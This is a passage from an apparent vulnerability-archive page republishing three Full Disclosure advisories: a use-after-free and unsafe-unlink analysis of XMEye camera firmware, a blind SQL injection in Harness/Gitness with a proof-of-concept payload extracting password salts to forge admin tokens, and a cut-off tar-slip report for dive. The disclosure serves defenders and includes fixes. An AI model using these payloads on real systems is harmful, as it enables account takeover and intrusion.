while ( 1 )
{
result = sub_5B8C10(a1, a2);
if ( result )
break;
v6 = dword_9D8750;
while ( *(_BYTE *)(v6 + 18) )
{
v6 = *(_DWORD *)(v6 + 32);
if ( v6 == dword_9D8750 )
return 0;
}
*(_BYTE *)(v6 + 18) = 1;
v7 = *(_DWORD *)(v6 + 24);
if ( v7 )
*(_DWORD *)(v7 + 20) = *(_DWORD *)(v6 + 20);
v8 = *(_DWORD *)(v6 + 20);
if ( v8 )
*(_DWORD *)(v8 + 24) = v7;
v9 = *(unsigned __int8 *)(v6 + 8);
if ( dword_AD2DB4[v9] == v6 )
dword_AD2DB4[v9] = *(_DWORD *)(v6 + 24);
if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )
sub_5A882C("Free block list corrupted");
v10 = *(_DWORD *)(v6 + 28);
*(_DWORD *)(v10 + 32) = *(_DWORD *)(v6 + 32);
v11 = *(_DWORD *)(v6 + 32);
*(_DWORD *)(v11 + 28) = v10;
if ( dword_9D8750 == v6 )
dword_9D8750 = v11;
if ( *(_BYTE *)(v6 + 17) )
sub_5B8AE8(v6);
*(_BYTE *)(v6 + 17) = 0;
*(_BYTE *)(v6 + 16) = 0;
v12 = dword_AD2DB4[(unsigned __int8)a2];
*(_DWORD *)v6 = a1;
*(_QWORD *)(v6 + 8) = a2;
while ( 1 )
{
if ( !v12 )
{
sub_5B8A8C(v6);
return v6;
}
if ( *(_DWORD *)v12 == a1 && *(_QWORD *)(v12 + 8) == a2 )
break;
v12 = *(_DWORD *)(v12 + 24);
}
*(_DWORD *)v6 = 0;
*(_QWORD *)(v6 + 8) = 0;
*(_BYTE *)(v6 + 18) = 0;
sub_5B8A8C(v6);
}
return result;
}
so from here, we can see some interesting stuff. nmotably, we can see
if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )
sub_5A882C("Free block list corrupted");
v10 = *(_DWORD *)(v6 + 28);
*(_DWORD *)(v10 + 32) = *(_DWORD *)(v6 + 32);
v11 = *(_DWORD *)(v6 + 32);
*(_DWORD *)(v11 + 28) = v10;
if ( dword_9D8750 == v6 )
given the context and the vairables being reused, we can probably guess:
if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )
sub_5A882C("Free block list corrupted");
prev = *(_DWORD *)(v6 + 28);
*(_DWORD *)(prev + 32) = *(_DWORD *)(v6 + 32);
next = *(_DWORD *)(v6 + 32);
*(_DWORD *)(next + 28) = prev;
if ( dword_9D8750 == v6 )
so, we read buf->lru_prev, set prev->lru_next to buf->lru_next, read
buf->lru_next, then next->lru_prev = buf->lru_prev. if you have
skidded before, this is an unsafe unlink, since theres no validation
whatsoever on the ptrs. this means if you control buf+28 and buf+32 we
can get an arbitrary write. from there, we cna probably chain this to
eventually get an arbitrary read, amybe overwrite a got entry, etc
etc.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | UAF in XMEye |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "UAF in XMEye",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "evan"
}
],
"descriptions": [
{
"lang": "en",
"value": "checksec:\n\n$ checksec --file Sofia\n[*] \u0027/redacted/Sofia\u0027\n Arch: arm-32-little\n RELRO: No RELRO\n Stack: Canary found\n NX: NX unknown - GNU_STACK missing\n PIE: No PIE (0x8000)\n Stack: Executable\n RWX: Has RWX segments\n\nthis ones interesting. sofia uses an internal flash fs called WFS. per\nan online search:\n\nWFS is a proprietary filesystem developed by Hikvision for its Network\nVideo Recorders (NVRs) and Digital Video Recorders (DVRs).\n [1] \n(https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)\n How it works: Instead of formatting hard drives or flash storage with\ngeneral-purpose filesystems (like FAT32 or NTFS),\n Hikvision devices write video data directly to the storage media\nusing WFS. [1] \n(https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)\n Purpose: This design minimizes fragmentation and maximizes\ndata-writing speeds for 24/7 video streams.\n\n Note: Because it is proprietary, standard computers\n(Windows/Mac/Linux) cannot natively read a WFS-formatted drive. Data\nrecovery professionals use specialized tools like UFS Explorer to\nreconstruct and extract videos from these drives. [1]\n(https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)\nok whatever that means. anyway, per some existing research, wfs holds\na block buffer cache, which is a pool of 128 buffers that hold ru\u2019d\n512-byte flash blocks in ram. each buffer has a refcount that tracks\nhow many threads are using it. then once refcount is 0 obv we free it\nand it can be recycled.\n\none of the functions that handle this (per the proximity browser) is\n\nint __fastcall sub_5B8BE8(int result)\n{\n int v1; // r3\n\n if ( result )\n {\n v1 = *(unsigned __int8 *)(result + 18);\n *(_BYTE *)(result + 18) = v1 - 1;\n if ( !v1 )\n return sub_5A882C(\"Trying to free free buffer\\n\");\n }\n return result;\n}\ninterestingly it does warn if v1 (if the buffer doesnt exist) is free\nthat a double free is happening. it doesnt actually do anything about\nit however. also since this is multithreaded, there is a clear as day\ntoctou. the same can be seen for looking up an entry and refcount\nincrementing:\n\nint __fastcall sub_5B8C10(int a1, __int64 a2)\n{\n int i; // r1\n\n for ( i = dword_AD2DB4[(unsigned __int8)a2]; i; i = *(_DWORD *)(i + 24) )\n {\n if ( *(_DWORD *)i == a1 \u0026\u0026 *(_QWORD *)(i + 8) == a2 )\n {\n ++*(_BYTE *)(i + 18);\n return i;\n }\n }\n return i;\n}\nagain, no locking. this could mean we could get a toctou and\nconsequently a uaf vuln. maybe if we fuck with this carefully and look\nat the fields we could potentially get arb r/w.\n\nafter researching online the struct layout looks like this:\n\nstruct {\n int device_no;\n // ??? size 4\n uint64_t block_number;\n uint8_t uptodate;\n uint8_t dirty;\n uint8_t refcount;\n uint8_t paddingidk;\n uintptr_t hash_prev;\n uintptr_t hash_next;\n uintptr_t lru_prev;\n uintptr_t lru_next;\n uintptr_t dataptr;\n}\nunfortunately i couldnt give a fuck about actualyl exploiting it, but\nthere is a chance someone could just use the ptrs to leak stuff if\nyoure careful enough. this struct is 40 bytes big, and there are\nallocations of similar size with controllable data. youll have to\ngroom allocations so these two threads get to play with the buffer\nproperly instead of getting some random buffre.\n\nto exploit this (by theory):\n\nhave thread x do a lookup. it finds your target buf and incremenmts\nrefcount and returns a ptr to the buffer.\nhave another thread decrement at the right time to race with thread x.\nrefcount is now 0, even though thread x is holding it.\nthe other thread gets a new buffer, walking along the lru linked list\nto find a buffer with refcount 0. it finds thread x\u2019s buffer, sets\nrefcount to 1, evicts it and repurposes it for a different block.\nuaf, nice. we can now write stuff over the stale ref.\nthe buffer eviction logic:\n\nint __fastcall sub_5B8C64(int a1, __int64 a2)\n{\n int result; // r0\n int v6; // r10\n int v7; // r3\n int v8; // r2\n int v9; // r3\n int v10; // r2\n int v11; // r3\n int v12; // r1\n\n while ( 1 )\n {\n result = sub_5B8C10(a1, a2);\n if ( result )\n break;\n v6 = dword_9D8750;\n while ( *(_BYTE *)(v6 + 18) )\n {\n v6 = *(_DWORD *)(v6 + 32);\n if ( v6 == dword_9D8750 )\n return 0;\n }\n *(_BYTE *)(v6 + 18) = 1;\n v7 = *(_DWORD *)(v6 + 24);\n if ( v7 )\n *(_DWORD *)(v7 + 20) = *(_DWORD *)(v6 + 20);\n v8 = *(_DWORD *)(v6 + 20);\n if ( v8 )\n *(_DWORD *)(v8 + 24) = v7;\n v9 = *(unsigned __int8 *)(v6 + 8);\n if ( dword_AD2DB4[v9] == v6 )\n dword_AD2DB4[v9] = *(_DWORD *)(v6 + 24);\n if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )\n sub_5A882C(\"Free block list corrupted\");\n v10 = *(_DWORD *)(v6 + 28);\n *(_DWORD *)(v10 + 32) = *(_DWORD *)(v6 + 32);\n v11 = *(_DWORD *)(v6 + 32);\n *(_DWORD *)(v11 + 28) = v10;\n if ( dword_9D8750 == v6 )\n dword_9D8750 = v11;\n if ( *(_BYTE *)(v6 + 17) )\n sub_5B8AE8(v6);\n *(_BYTE *)(v6 + 17) = 0;\n *(_BYTE *)(v6 + 16) = 0;\n v12 = dword_AD2DB4[(unsigned __int8)a2];\n *(_DWORD *)v6 = a1;\n *(_QWORD *)(v6 + 8) = a2;\n while ( 1 )\n {\n if ( !v12 )\n {\n sub_5B8A8C(v6);\n return v6;\n }\n if ( *(_DWORD *)v12 == a1 \u0026\u0026 *(_QWORD *)(v12 + 8) == a2 )\n break;\n v12 = *(_DWORD *)(v12 + 24);\n }\n *(_DWORD *)v6 = 0;\n *(_QWORD *)(v6 + 8) = 0;\n *(_BYTE *)(v6 + 18) = 0;\n sub_5B8A8C(v6);\n }\n return result;\n}\nso from here, we can see some interesting stuff. nmotably, we can see\n\n if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )\n sub_5A882C(\"Free block list corrupted\");\n v10 = *(_DWORD *)(v6 + 28);\n *(_DWORD *)(v10 + 32) = *(_DWORD *)(v6 + 32);\n v11 = *(_DWORD *)(v6 + 32);\n *(_DWORD *)(v11 + 28) = v10;\n if ( dword_9D8750 == v6 )\ngiven the context and the vairables being reused, we can probably guess:\n\n if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )\n sub_5A882C(\"Free block list corrupted\");\n prev = *(_DWORD *)(v6 + 28);\n *(_DWORD *)(prev + 32) = *(_DWORD *)(v6 + 32);\n next = *(_DWORD *)(v6 + 32);\n *(_DWORD *)(next + 28) = prev;\n if ( dword_9D8750 == v6 )\nso, we read buf-\u003elru_prev, set prev-\u003elru_next to buf-\u003elru_next, read\nbuf-\u003elru_next, then next-\u003elru_prev = buf-\u003elru_prev. if you have\nskidded before, this is an unsafe unlink, since theres no validation\nwhatsoever on the ptrs. this means if you control buf+28 and buf+32 we\ncan get an arbitrary write. from there, we cna probably chain this to\neventually get an arbitrary read, amybe overwrite a got entry, etc\netc.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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"dateUpdated": "2026-10-02T04:57:33Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
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"references": [
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"tags": [
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"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/42"
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"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/42"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/42"
],
"discovery": "EXTERNAL"
},
"title": "UAF in XMEye Security Camera",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0417",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/42",
"automated": true,
"contentSha256": "b4a06f6e6b8a0aad588f146b2048eb0567531fd363aee694f5a88ffa1db92e79",
"evidenceScore": 6,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/42",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-15T03:44:45Z"
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},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0417"
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"dataType": "CVE_RECORD",
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GCVE-1988-2026-0416
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
harness(gitness) registry webhook sort_order blind SQL injection
Summary
# harness registry webhook sort_order blind SQL injection
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-09-24
**Advisory:** https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection
**Contact:** https://fereidani.com/contact
## Description
Harness open source (Gitness) is a self-hosted platform for source control,
pipelines and artifact registries. The registry API lists the webhooks of a
registry at `GET /registry/{ref}/webhooks` with optional `sort_field` and
`sort_order` query parameters. The controller copies the raw query-string
bytes of `sort_order` into the DAO call with no normalization
(`registry/app/api/controller/metadata/list_webhooks.go:80`):
```go
sortByField := ""
sortByOrder := ""
if r.Params.SortOrder != nil {
sortByOrder = string(*r.Params.SortOrder)
}
if r.Params.SortField != nil {
sortByField = string(*r.Params.SortField)
}
webhooks, err := c.WebhooksRepository.ListByRegistry(
ctx,
sortByField,
sortByOrder,
...
)
```
The DAO allowlists the sort field but interpolates the order clause raw
(`registry/app/store/database/webhook.go:224`):
```go
validSortFields := map[string]string{
"name": "registry_webhook_name",
}
validSortByField := validSortFields[sortByField]
if validSortByField != "" {
query = query.OrderBy(fmt.Sprintf("%s %s", validSortByField, sortByOrder))
}
```
Every other value in the query is bound as a parameter; only the ORDER BY
fragment is assembled with `fmt.Sprintf`. `SortOrder` is generated by
oapi-codegen as a plain `type SortOrder string`
(`registry/app/api/openapi/contracts/artifact/types.gen.go:1223`) with no
runtime enum validation, so any bytes survive from the query string to the
SQL text.
The project already has the correct guard and applies it everywhere else.
`GetSortByOrder` (`registry/app/api/controller/metadata/utils.go:220`)
coerces anything that is not `DESC` to `ASC`, and the sibling request-info
helpers call it on every other listing endpoint
(`registry/app/api/controller/metadata/base.go:107` and `:489`). The webhook
listing builds its parameters inline and is the one call path that skips the
normalization. A second raw interpolation of the same pair sits in the
upstream proxy DAO, which concatenates both field and order with no allowlist
at all (`registry/app/store/database/upstream_proxy.go:338`):
```go
q = q.OrderBy(" r.registry_" + sortByField + " " + sortByOrder).
Limit(ulimit).
Offset(uoffset)
```
Its callers currently normalize through the base helpers, but the DAO trusts
its inputs, so a caller-side fix alone leaves a second unsafe path behind.
## Reproduction
The DAO assembles the SQL with squirrel before any database round trip, so
the injection is visible without a database. The in-package test below
registers a mock driver that records the statement `ListByRegistry`
prepares, and requests the webhook list with the attack payload as
`sort_order`, exactly what `GET
/registry/{ref}/webhooks?sort_field=name&sort_order=<payload>`
reaches:
```go
package database
import (
"context"
"database/sql"
"database/sql/driver"
"errors"
"strings"
"testing"
"github.com/jmoiron/sqlx"
)
type recordDriver struct{ lastQuery string }
func (d *recordDriver) Open(string) (driver.Conn, error) { return
&recordConn{d: d}, nil }
type recordConn struct{ d *recordDriver }
func (c *recordConn) Prepare(q string) (driver.Stmt, error) {
c.d.lastQuery = q
return nil, errors.New("captured")
}
func (c *recordConn) Close() error { return nil }
func (c *recordConn) Begin() (driver.Tx, error) { return nil,
errors.New("no tx") }
func TestPocSQLi(t *testing.T) {
rec := &recordDriver{}
sql.Register("recorder-poc", rec)
sdb, err := sql.Open("recorder-poc", "unused")
if err != nil {
t.Fatal(err)
}
repo := NewWebhookDao(sqlx.NewDb(sdb, "postgres"))
payload := "ASC,(SELECT CASE WHEN (substr((select principal_salt from
principals limit 1),1,1)='a')" +
" THEN registry_webhook_name ELSE registry_webhook_id END)"
_, _ = repo.ListByRegistry(context.Background(), "name", payload, 10, 0, "", 1)
sent := rec.lastQuery
for _, needle := range []string{"SELECT CASE WHEN", "principal_salt",
"registry_webhook_id END"} {
if !strings.Contains(sent, needle) {
t.Fatalf("payload fragment %q missing from SQL sent to the
database:\n%s", needle, sent)
}
}
t.Logf("SQL SENT TO DATABASE:\n%s", sent)
}
```
Run it inside a checkout of harness/harness:
```sh
go test ./registry/app/store/database/ -run TestPocSQLi -v
```
Observed output on main at commit 912a1f3 (fields truncated):
```text
--- PASS: TestPocSQLi (0.00s)
poc_sqli_test.go:47: SQL SENT TO DATABASE:
SELECT registry_webhook_id, ... FROM registry_webhooks
WHERE registry_webhook_registry_id = $1
ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN
(substr((select principal_salt from principals limit 1),1,1)='a')
THEN registry_webhook_name ELSE registry_webhook_id END)
LIMIT 10 OFFSET 0
```
The `$1` binding shows that every other value is parameterized; the payload
sits verbatim inside ORDER BY. PostgreSQL evaluates expressions there, so a
CASE keyed on `substr` of any database value flips the row order (or raises
an error) depending on the condition, which leaks one boolean per request.
That is a full blind extraction primitive for any value the database user
can read, one character and one bit at a time.
## Impact
Blind SQL injection (CWE-89) reachable by any authenticated user who has
view permission on any registry (`enum.PermissionRegistryView` is the gate at
`registry/app/api/controller/metadata/list_webhooks.go:46`). The realistic
target is `principals.principal_salt`: the JWT authenticator verifies session
tokens with HMAC keyed only by that salt
(`app/auth/authn/jwt.go:99-107`), so recovering a salt lets the attacker
forge a valid session token for that principal, including administrators.
The salt column is excluded from API responses (`json:"-"`,
`registry/types/principal.go:37`), which is exactly why the database has to
be read through the query itself.
The injection is read-side exfiltration: the surrounding query is fully
parameterized and the PostgreSQL driver does not run stacked queries, so the
attacker cannot write to the database through this path.
## Solution
Validate at both ends. The controller should normalize the parameter with
the guard its siblings already use, which collapses any input to `ASC` or
`DESC`:
```go
sortByOrder = GetSortByOrder(sortByOrder)
```
But the DAO is the component that assembles the SQL, so it should not accept
free text in the first place. An allowlist at the sink holds regardless of
which caller reaches it:
```go
validSortOrders := map[string]struct{}{"ASC": {}, "DESC": {}}
if _, ok := validSortOrders[strings.ToUpper(sortByOrder)]; !ok {
sortByOrder = "ASC"
}
```
The upstream proxy DAO needs the same treatment for both parameters: an
allowlist for the sort field (it currently concatenates the raw string onto
a column prefix) and the same order check, so a future caller that forgets
to normalize cannot reopen the hole.
Until a fix lands, block or rewrite the `sort_order` parameter of the
webhook listing at the reverse proxy in front of the deployment; anything
that is not exactly `asc` or `desc` (case-insensitive) can be dropped.
## Timeline
- 2026-09-24: Reported publicly as harness/harness#3724, found while
scanning popular repositories with my static analyzer. The project's
earlier security reports had gone unanswered; the current main branch
(912a1f3) is affected.
## References
- [harness/harness#3724 - blind SQL injection via sort_order in
registry webhook
listing](https://github.com/harness/harness/issues/3724)
- [harness/harness -
registry/app/store/database/webhook.go](https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go)
- [harness/harness -
registry/app/api/controller/metadata/list_webhooks.go](https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go)
- [harness/harness -
registry/app/store/database/upstream_proxy.go](https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go)
- [CWE-89: Improper Neutralization of Special Elements used in an SQL
Command](https://cwe.mitre.org/data/definitions/89.html)
- [CWE-200: Exposure of Sensitive Information to an Unauthorized
Actor](https://cwe.mitre.org/data/definitions/200.html)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Harness | registry webhook |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "registry webhook",
"vendor": "Harness",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Khashayar Fereidani"
}
],
"descriptions": [
{
"lang": "en",
"value": "# harness registry webhook sort_order blind SQL injection\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nHarness open source (Gitness) is a self-hosted platform for source control,\npipelines and artifact registries. The registry API lists the webhooks of a\nregistry at `GET /registry/{ref}/webhooks` with optional `sort_field` and\n`sort_order` query parameters. The controller copies the raw query-string\nbytes of `sort_order` into the DAO call with no normalization\n(`registry/app/api/controller/metadata/list_webhooks.go:80`):\n\n```go\nsortByField := \"\"\nsortByOrder := \"\"\nif r.Params.SortOrder != nil {\nsortByOrder = string(*r.Params.SortOrder)\n}\nif r.Params.SortField != nil {\nsortByField = string(*r.Params.SortField)\n}\n\nwebhooks, err := c.WebhooksRepository.ListByRegistry(\nctx,\nsortByField,\nsortByOrder,\n...\n)\n```\n\nThe DAO allowlists the sort field but interpolates the order clause raw\n(`registry/app/store/database/webhook.go:224`):\n\n```go\nvalidSortFields := map[string]string{\n\"name\": \"registry_webhook_name\",\n}\nvalidSortByField := validSortFields[sortByField]\nif validSortByField != \"\" {\nquery = query.OrderBy(fmt.Sprintf(\"%s %s\", validSortByField, sortByOrder))\n}\n```\n\nEvery other value in the query is bound as a parameter; only the ORDER BY\nfragment is assembled with `fmt.Sprintf`. `SortOrder` is generated by\noapi-codegen as a plain `type SortOrder string`\n(`registry/app/api/openapi/contracts/artifact/types.gen.go:1223`) with no\nruntime enum validation, so any bytes survive from the query string to the\nSQL text.\n\nThe project already has the correct guard and applies it everywhere else.\n`GetSortByOrder` (`registry/app/api/controller/metadata/utils.go:220`)\ncoerces anything that is not `DESC` to `ASC`, and the sibling request-info\nhelpers call it on every other listing endpoint\n(`registry/app/api/controller/metadata/base.go:107` and `:489`). The webhook\nlisting builds its parameters inline and is the one call path that skips the\nnormalization. A second raw interpolation of the same pair sits in the\nupstream proxy DAO, which concatenates both field and order with no allowlist\nat all (`registry/app/store/database/upstream_proxy.go:338`):\n\n```go\nq = q.OrderBy(\" r.registry_\" + sortByField + \" \" + sortByOrder).\nLimit(ulimit).\nOffset(uoffset)\n```\n\nIts callers currently normalize through the base helpers, but the DAO trusts\nits inputs, so a caller-side fix alone leaves a second unsafe path behind.\n\n## Reproduction\n\nThe DAO assembles the SQL with squirrel before any database round trip, so\nthe injection is visible without a database. The in-package test below\nregisters a mock driver that records the statement `ListByRegistry`\nprepares, and requests the webhook list with the attack payload as\n`sort_order`, exactly what `GET\n/registry/{ref}/webhooks?sort_field=name\u0026sort_order=\u003cpayload\u003e`\nreaches:\n\n```go\npackage database\n\nimport (\n\"context\"\n\"database/sql\"\n\"database/sql/driver\"\n\"errors\"\n\"strings\"\n\"testing\"\n\n\"github.com/jmoiron/sqlx\"\n)\n\ntype recordDriver struct{ lastQuery string }\n\nfunc (d *recordDriver) Open(string) (driver.Conn, error) { return\n\u0026recordConn{d: d}, nil }\n\ntype recordConn struct{ d *recordDriver }\n\nfunc (c *recordConn) Prepare(q string) (driver.Stmt, error) {\nc.d.lastQuery = q\nreturn nil, errors.New(\"captured\")\n}\nfunc (c *recordConn) Close() error { return nil }\nfunc (c *recordConn) Begin() (driver.Tx, error) { return nil,\nerrors.New(\"no tx\") }\n\nfunc TestPocSQLi(t *testing.T) {\nrec := \u0026recordDriver{}\nsql.Register(\"recorder-poc\", rec)\nsdb, err := sql.Open(\"recorder-poc\", \"unused\")\nif err != nil {\nt.Fatal(err)\n}\nrepo := NewWebhookDao(sqlx.NewDb(sdb, \"postgres\"))\n\npayload := \"ASC,(SELECT CASE WHEN (substr((select principal_salt from\nprincipals limit 1),1,1)=\u0027a\u0027)\" +\n\" THEN registry_webhook_name ELSE registry_webhook_id END)\"\n\n_, _ = repo.ListByRegistry(context.Background(), \"name\", payload, 10, 0, \"\", 1)\n\nsent := rec.lastQuery\nfor _, needle := range []string{\"SELECT CASE WHEN\", \"principal_salt\",\n\"registry_webhook_id END\"} {\nif !strings.Contains(sent, needle) {\nt.Fatalf(\"payload fragment %q missing from SQL sent to the\ndatabase:\\n%s\", needle, sent)\n}\n}\nt.Logf(\"SQL SENT TO DATABASE:\\n%s\", sent)\n}\n```\n\nRun it inside a checkout of harness/harness:\n\n```sh\ngo test ./registry/app/store/database/ -run TestPocSQLi -v\n```\n\nObserved output on main at commit 912a1f3 (fields truncated):\n\n```text\n--- PASS: TestPocSQLi (0.00s)\n poc_sqli_test.go:47: SQL SENT TO DATABASE:\n SELECT registry_webhook_id, ... FROM registry_webhooks\n WHERE registry_webhook_registry_id = $1\n ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN\n (substr((select principal_salt from principals limit 1),1,1)=\u0027a\u0027)\n THEN registry_webhook_name ELSE registry_webhook_id END)\n LIMIT 10 OFFSET 0\n```\n\nThe `$1` binding shows that every other value is parameterized; the payload\nsits verbatim inside ORDER BY. PostgreSQL evaluates expressions there, so a\nCASE keyed on `substr` of any database value flips the row order (or raises\nan error) depending on the condition, which leaks one boolean per request.\nThat is a full blind extraction primitive for any value the database user\ncan read, one character and one bit at a time.\n\n## Impact\n\nBlind SQL injection (CWE-89) reachable by any authenticated user who has\nview permission on any registry (`enum.PermissionRegistryView` is the gate at\n`registry/app/api/controller/metadata/list_webhooks.go:46`). The realistic\ntarget is `principals.principal_salt`: the JWT authenticator verifies session\ntokens with HMAC keyed only by that salt\n(`app/auth/authn/jwt.go:99-107`), so recovering a salt lets the attacker\nforge a valid session token for that principal, including administrators.\nThe salt column is excluded from API responses (`json:\"-\"`,\n`registry/types/principal.go:37`), which is exactly why the database has to\nbe read through the query itself.\n\nThe injection is read-side exfiltration: the surrounding query is fully\nparameterized and the PostgreSQL driver does not run stacked queries, so the\nattacker cannot write to the database through this path.\n\n## Solution\n\nValidate at both ends. The controller should normalize the parameter with\nthe guard its siblings already use, which collapses any input to `ASC` or\n`DESC`:\n\n```go\nsortByOrder = GetSortByOrder(sortByOrder)\n```\n\nBut the DAO is the component that assembles the SQL, so it should not accept\nfree text in the first place. An allowlist at the sink holds regardless of\nwhich caller reaches it:\n\n```go\nvalidSortOrders := map[string]struct{}{\"ASC\": {}, \"DESC\": {}}\nif _, ok := validSortOrders[strings.ToUpper(sortByOrder)]; !ok {\nsortByOrder = \"ASC\"\n}\n```\n\nThe upstream proxy DAO needs the same treatment for both parameters: an\nallowlist for the sort field (it currently concatenates the raw string onto\na column prefix) and the same order check, so a future caller that forgets\nto normalize cannot reopen the hole.\n\nUntil a fix lands, block or rewrite the `sort_order` parameter of the\nwebhook listing at the reverse proxy in front of the deployment; anything\nthat is not exactly `asc` or `desc` (case-insensitive) can be dropped.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as harness/harness#3724, found while\n scanning popular repositories with my static analyzer. The project\u0027s\n earlier security reports had gone unanswered; the current main branch\n (912a1f3) is affected.\n\n## References\n\n- [harness/harness#3724 - blind SQL injection via sort_order in\nregistry webhook\nlisting](https://github.com/harness/harness/issues/3724)\n- [harness/harness -\nregistry/app/store/database/webhook.go](https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go)\n- [harness/harness -\nregistry/app/api/controller/metadata/list_webhooks.go](https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go)\n- [harness/harness -\nregistry/app/store/database/upstream_proxy.go](https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go)\n- [CWE-89: Improper Neutralization of Special Elements used in an SQL\nCommand](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized\nActor](https://cwe.mitre.org/data/definitions/200.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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"url": "https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go"
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"url": "https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go"
},
{
"url": "https://github.com/harness/harness/issues/3724"
},
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}
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],
"discovery": "EXTERNAL"
},
"title": "harness(gitness) registry webhook sort_order blind SQL injection",
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"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0416",
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"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
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GCVE-1988-2026-0415
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
dive tar-slip in image file extraction
Summary
# dive tar-slip in image file extraction
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-09-24
**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction
**Contact:** https://fereidani.com/contact
## Description
dive is a terminal UI for exploring Docker image layers, and inspecting images
pulled from public registries is its main use case. The filetree view has an
extract action (the default keybinding is `ctrl+e`,
`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file
from the image layer into the working directory. The call chain is
`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)
-> `engineResolver.Extract`
(`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage`
(`dive/image/docker/image_archive.go:303`) -> `extractInner`
(`dive/image/docker/image_archive.go:337`):
```go
func extractInner(reader *tar.Reader, p string) error {
target := strings.TrimPrefix(p, "/")
for {
header, err := reader.Next()
if err == io.EOF {
break
}
if err != nil {
fmt.Println(err)
os.Exit(1)
}
name := header.Name
switch header.Typeflag {
case tar.TypeReg:
if strings.HasPrefix(name, target) {
err := os.MkdirAll(filepath.Dir(name), 0755)
if err != nil {
return err
}
out, err := os.Create(name)
if err != nil {
return err
}
_, err = io.Copy(out, reader)
if err != nil {
return err
}
}
default:
continue
}
}
return nil
}
```
